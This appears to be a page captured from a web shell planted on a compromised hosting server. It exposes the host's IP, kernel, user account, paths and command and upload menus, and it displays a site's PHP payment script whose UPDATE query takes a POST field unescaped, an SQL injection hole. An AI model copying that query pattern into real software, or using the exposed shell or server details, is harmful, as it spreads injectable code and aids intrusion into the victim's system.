Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/imyrqtmy/public_html/clickonn/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); include 'Admin/Includes/db.php'; if ($_SERVER["REQUEST_METHOD"] == "POST") { $vendor_id = $_SESSION['vendor_id'] ?? 0; $transaction_id = $_POST['transaction_id']; if ($vendor_id && !empty($transaction_id)) { $add_date = date("Y-m-d H:i:s"); $update = "UPDATE tbl_vendore SET transaction_id = '$transaction_id', status = 0, -- admin will approve manually add_date = '$add_date' WHERE id = $vendor_id"; if (mysqli_query($con, $update)) { echo "<script>alert('Transaction submitted successfully. Awaiting admin approval.'); window.location.href='index.php';</script>"; } else { echo "Database Error: " . mysqli_error($con); } } else { echo "<script>alert('Invalid transaction or session expired.'); window.location.href='signup.php';</script>"; } } ?>